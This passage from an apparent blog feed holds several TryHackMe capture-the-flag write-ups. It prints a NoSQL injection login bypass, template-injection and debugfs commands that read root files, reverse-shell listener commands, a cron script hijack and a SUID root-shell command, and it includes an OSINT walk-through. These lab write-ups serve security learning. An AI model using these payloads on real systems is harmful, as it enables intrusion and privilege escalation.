&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdpt8uqz4bjayqj6421l1.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdpt8uqz4bjayqj6421l1.webp" alt=" " width="799" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdbyrkunfdmjokandb4me.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdbyrkunfdmjokandb4me.webp" alt=" " width="799" height="352"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F49kb7u3hhlt5pl3i84ai.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F49kb7u3hhlt5pl3i84ai.webp" alt=" " width="799" height="370"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;POST /login HTTP/1.1&lt;br&gt;
Host: 10.67.180.45&lt;br&gt;
Content-Type: application/x-www-form-urlencoded&lt;br&gt;
username=attendant&amp;amp;password[$ne]=wrong&lt;br&gt;
This payload alters the backend database query structure to check if the password is not equal to “wrong”, which evaluates to true for the valid username attendant. The server responds with a 302 Found redirect and sets an authentication cookie (connect.sid), granting us entry to the staff console at /staff.&lt;/p&gt;

&lt;p&gt;Phase 3: Server-Side Template Injection (SSTI) &amp;amp; Initial Shell&lt;br&gt;
Inside the staff console, we find a booking confirmation message customization feature that utilizes EJS (Embedded JavaScript) templates. Entering a mathematical expression like &amp;lt;%= 6 * 4 %&amp;gt; into the preview renders 24, confirming a severe Server-Side Template Injection (SSTI) vulnerability.&lt;/p&gt;

&lt;p&gt;We can exploit this template injection to execute arbitrary system commands via Node.js child process modules. To gain a stable reverse shell, we inject a standard Node payload executing a Python reverse shell back to our attack machine:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fj6zwy6lplywacn9laqyn.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fj6zwy6lplywacn9laqyn.webp" alt=" " width="798" height="82"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9x50vfof9wh8u524k40g.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9x50vfof9wh8u524k40g.webp" alt=" " width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By setting up a Netcat listener on our machine (nc -lvnp 7777) and triggering the preview panel, we successfully catch a reverse shell as the user poolside. Navigating to the user's home directory reveals our first flag:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feopxjfu7x3cndadlotrf.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feopxjfu7x3cndadlotrf.webp" alt=" " width="480" height="342"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxcppidbqidnoy64nck6h.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxcppidbqidnoy64nck6h.webp" alt=" " width="800" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd5emoi8lif1765uahqb9.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd5emoi8lif1765uahqb9.webp" alt=" " width="760" height="631"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;poolside@tryhackme-2404:~$ cat user.txt&lt;br&gt;
THM{......................}&lt;br&gt;
Phase 4: Privilege Escalation &amp;amp; Raw Disk Access&lt;br&gt;
Standard privilege escalation enumeration reveals no straightforward sudo permissions or explicit SUID binaries. However, examining internal system processes and capabilities shows that a background Node process running under another user has access to disk utilities and low-level system interaction.&lt;/p&gt;

&lt;p&gt;Specifically, we can use Node.js to execute administrative binaries capable of interacting with block devices. Using debugfs against the primary disk partition (/dev/nvme0n1p1), we can bypass standard file permission restrictions enforced by the operating system because we have raw block device read capability or interface access.&lt;/p&gt;

&lt;p&gt;Let’s inspect the contents of the root directory using debugfs via Node execution:&lt;/p&gt;

&lt;p&gt;process.getBuiltinModule(‘child_process’).execFileSync(‘/usr/sbin/debugfs’, [‘-R’, ‘ls /root/’, ‘/dev/nvme0n1p1’], { encoding: ‘utf8’ })&lt;/p&gt;

&lt;p&gt;The output reveals the contents of /root, including root.txt. We can then read the root flag directly through debugfs:&lt;/p&gt;

&lt;p&gt;process.getBuiltinModule(‘child_process’).execFileSync(‘/usr/sbin/debugfs’, [‘-R’, ‘cat /root/root.txt’, ‘/dev/nvme0n1p1’], { encoding: ‘utf8’ })&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzf7ynvl8tjln68ho5q7o.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzf7ynvl8tjln68ho5q7o.webp" alt=" " width="800" height="172"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Root Flag Retrieved: THM{..........................}&lt;/p&gt;

&lt;p&gt;Conclusion&lt;br&gt;
The Poolside room is an exceptional machine that highlights the dangers of insecure NoSQL query handling, the catastrophic impact of Template Injection in Node.js applications, and how misconfigured system permissions or raw block device access (debugfs) can completely undermine Linux file system security boundaries.&lt;/p&gt;

&lt;p&gt;Thank you for reading! If you enjoyed this write-up, feel free to share it with the community and leave a clap on Medium. Happy hacking!&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>security</category>
    </item>
    <item>
      <title>Write-up: TryHackMe Room “Anonymous”</title>
      <dc:creator> Mohammad ali</dc:creator>
      <pubDate>Mon, 03 Aug 2026 23:35:06 +0000</pubDate>
      <link>https://dev.to/mohammadali_30/write-up-tryhackme-room-anonymous-2541</link>
      <guid>https://dev.to/mohammadali_30/write-up-tryhackme-room-anonymous-2541</guid>
      <description>&lt;p&gt;Welcome to this comprehensive technical article where we will walk through the step-by-step process of solving the popular Anonymous room on TryHackMe. This room serves as a practical exercise to enhance ethical hacking skills and focus on offensive security concepts in an organized manner.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reconnaissance
The journey always begins with gathering information about the target using standard enumeration tools. We performed a comprehensive scan using Nmap to identify open ports and running services on the target machine:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;nmap -sC -sV &lt;br&gt;
The scan results revealed several key ports and services:&lt;/p&gt;

&lt;p&gt;Port 21 (FTP): vsftpd service allowing anonymous login (Anonymous FTP login allowed), along with a writable directory named scripts.&lt;br&gt;
Port 22 (SSH): Secure shell service OpenSSH.&lt;br&gt;
Ports 139 / 445 (SMB): Samba file sharing protocol.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhyo0kxlxcbpzngwcgfvn.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhyo0kxlxcbpzngwcgfvn.webp" alt=" " width="800" height="333"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;FTP Exploitation and Anonymous Login
Since the FTP server allowed access via the anonymous account, we logged in directly without a password:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;ftp &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4fprj2qq1z3c9ir9l6m3.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4fprj2qq1z3c9ir9l6m3.webp" alt=" " width="799" height="77"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Exploring the directories led us to the scripts folder, which contained the following files:&lt;br&gt;
clean.sh&lt;br&gt;
removed_files.log&lt;br&gt;
to_do.txt&lt;br&gt;
We noticed that the clean.sh script runs periodically (via a Cron Job), which creates an ideal opportunity for command injection or Cron Job Hijacking.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkhi9gbnxszu7ars9iwqv.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkhi9gbnxszu7ars9iwqv.webp" alt=" " width="800" height="80"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before moving to initial access, we downloaded the original clean.sh file from the server to our local machine to analyze and edit it using the following command:&lt;/p&gt;

&lt;p&gt;ftp&amp;gt; get clean.sh&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Initial Access
We edited the local clean.sh file using nano to add our reverse shell payload:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;nano clean.sh&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frjkmqigdw3isgz8p7n5t.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frjkmqigdw3isgz8p7n5t.webp" alt=" " width="324" height="52"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdgj4ijaeyyej14nkrf4t.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdgj4ijaeyyej14nkrf4t.webp" alt=" " width="800" height="333"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After modifying the script, we uploaded the updated file back to the scripts directory via FTP:&lt;/p&gt;

&lt;p&gt;ftp&amp;gt; put clean.sh&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd0ol498lxn8kxwvflvgz.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd0ol498lxn8kxwvflvgz.webp" alt=" " width="799" height="125"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Simultaneously, we set up a Netcat listener on our Kali machine:&lt;/p&gt;

&lt;p&gt;nc -lvnp 4444&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftl1eq1m0t1wgm0i3a602.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftl1eq1m0t1wgm0i3a602.webp" alt=" " width="800" height="144"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once the script executed automatically on the target system, we successfully received the connection and obtained a shell as the regular user namelessone. From there, we were able to read the first user flag:&lt;/p&gt;

&lt;p&gt;User Flag: ………………………………………….&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Privilege Escalation to Root
To search for potential vectors to escalate our privileges to root, we looked for files with the SUID permission bit set using the following command:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;find / -perm -4000 -type f 2&amp;gt;/dev/null&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2krtiw5wtabaeihk7jik.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2krtiw5wtabaeihk7jik.webp" alt=" " width="800" height="553"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh0edzxfty5gqk3luxgnv.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh0edzxfty5gqk3luxgnv.webp" alt=" " width="799" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The results highlighted an unexpected binary — specifically, the use of /usr/bin/env combined with the shell (/bin/sh -p). Following the guidance from the well-known GTFOBins platform for privilege escalation:&lt;/p&gt;

&lt;p&gt;/usr/bin/env /bin/sh -p&lt;br&gt;
Executing this command instantly dropped us into a root shell! We then navigated to the root directory to read the final flag:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Forjqc4jc4moltd0tluzn.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Forjqc4jc4moltd0tluzn.webp" alt=" " width="421" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftpafw0mfzmdm7w2qqqaa.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftpafw0mfzmdm7w2qqqaa.webp" alt=" " width="468" height="472"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Root Flag: …………………………………………&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>security</category>
    </item>
    <item>
      <title>Overheard at Breakfast: TryHackMe Room Write-up &amp; OSINT Walkthrough</title>
      <dc:creator> Mohammad ali</dc:creator>
      <pubDate>Mon, 03 Aug 2026 23:31:35 +0000</pubDate>
      <link>https://dev.to/mohammadali_30/overheard-at-breakfast-tryhackme-room-write-up-osint-walkthrough-320h</link>
      <guid>https://dev.to/mohammadali_30/overheard-at-breakfast-tryhackme-room-write-up-osint-walkthrough-320h</guid>
      <description>&lt;p&gt;Two strangers. One conversation. One profile they never meant to reveal.&lt;/p&gt;

&lt;p&gt;Open Source Intelligence (OSINT) is one of the most exciting and dynamic fields in cybersecurity. It demonstrates how seemingly innocuous snippets of information shared online can expose a complete digital profile. In this write-up, we explore the TryHackMe room “Overheard at Breakfast”, breaking down how a casual conversation between two resort guests at “Byte Lotus” leads to uncovering a hidden identity and capturing the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgqdy2pv2d1jqmkc2fc22.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgqdy2pv2d1jqmkc2fc22.webp" alt=" " width="798" height="206"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp4ckze57v1y4ake7enws.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp4ckze57v1y4ake7enws.webp" alt=" " width="800" height="141"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp93jd9mfz0qjqa7s4gql.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp93jd9mfz0qjqa7s4gql.webp" alt=" " width="539" height="79"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The Scenario &amp;amp; Reconnaissance
The room drops us into a simulated chat transcript between two users: Ponzi — Influencer and Lambo!. They are chatting late at night about their stay at the Byte Lotus resort:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Key Conversation Excerpt:&lt;/p&gt;

&lt;p&gt;Lambo!: “Absolutely, Byte Lotus is treating me nice, love the food, weather and overall vibes. Will probably come back next year too.”&lt;/p&gt;

&lt;p&gt;Lambo! (regarding social media): “Yeah nowadays I don’t really use much social media… Though I’m still out there, I used to use this free tool that let me upload my profile and link other media accounts was neat, until I wiped everything. Started with a G if I remember correctly.”&lt;/p&gt;

&lt;p&gt;Contact Email: &lt;a href="mailto:lambobytelotushotel@gmail.com"&gt;lambobytelotushotel@gmail.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From this conversation, we extract critical intelligence:&lt;/p&gt;

&lt;p&gt;The target’s handle/name is Lambo.&lt;br&gt;
They used a profile-linking tool starting with “G” where they previously uploaded a profile picture.&lt;br&gt;
Their email address is explicitly provided: &lt;a href="mailto:lambobytelotushotel@gmail.com"&gt;lambobytelotushotel@gmail.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpicmywygcj4ylo97iy9n.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpicmywygcj4ylo97iy9n.webp" alt=" " width="800" height="521"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Connecting the Clues: Gravatar OSINT
The clue pointing towards a free tool starting with “G” used for hosting avatars and linking profiles immediately directs our attention to Gravatar (Globally Recognized Avatar), a service tied directly to email addresses using cryptographic hashing.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2wsjvumqg1jh50i5khi7.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2wsjvumqg1jh50i5khi7.webp" alt=" " width="800" height="343"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By checking the target email address on Gravatar (&lt;a href="https://gravatar.com/site/check" rel="noopener noreferrer"&gt;https://gravatar.com/site/check&lt;/a&gt;), we uncover the associated profile URL and avatar hash:&lt;/p&gt;

&lt;p&gt;Email: &lt;a href="mailto:lambobytelotushotel@gmail.com"&gt;lambobytelotushotel@gmail.com&lt;/a&gt;&lt;br&gt;
Profile URL: &lt;a href="https://gravatar.com/d43faaf69d71056793bd037b8d6e321acad" rel="noopener noreferrer"&gt;https://gravatar.com/d43faaf69d71056793bd037b8d6e321acad&lt;/a&gt;&lt;br&gt;
Avatar Hash: d43faaf69d71056793bd037b8d6e321acad985c222d83775610&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzrz1f7tfnro1m0y798wn.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzrz1f7tfnro1m0y798wn.webp" alt=" " width="800" height="323"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Visiting the Gravatar profile reveals a custom avatar and a personalized message left by the room creators:&lt;/p&gt;

&lt;p&gt;“Funny thing about email hashes, they follow you places you didn’t expect. Glad you found the right corner of the internet! Here is your prize: VEhNe1MzY3JIVF9QcjBmaWwzX0gf0c19iMzNuX0lkZW50MWZpM2R9"&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3gg059zqvzssm4bf5fon.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3gg059zqvzssm4bf5fon.webp" alt=" " width="799" height="311"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Decoding the Flag with CyberChef
The prize string is encoded in Base64. To decode it, we plug the string into CyberChef, apply the From Base64 recipe, and instantly reveal the plaintext flag:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi3r03vo06jcxfsyva2o6.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi3r03vo06jcxfsyva2o6.webp" alt=" " width="800" height="321"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Input:  VEhNe1MzY3JIVF9QcjBmaWwzX0gf0c19iMzNuX0lkZW50MWZpM2R9&lt;br&gt;
Output: THM{.....................................}&lt;br&gt;
Flag Captured: THM{.................................}&lt;/p&gt;

</description>
      <category>ai</category>
      <category>tutorial</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>From Insecure Deserialization to Root: TryHackMe “Beach Bar” Walkthrough</title>
      <dc:creator> Mohammad ali</dc:creator>
      <pubDate>Mon, 03 Aug 2026 23:25:02 +0000</pubDate>
      <link>https://dev.to/mohammadali_30/from-insecure-deserialization-to-root-tryhackme-beach-bar-walkthrough-hpk</link>
      <guid>https://dev.to/mohammadali_30/from-insecure-deserialization-to-root-tryhackme-beach-bar-walkthrough-hpk</guid>
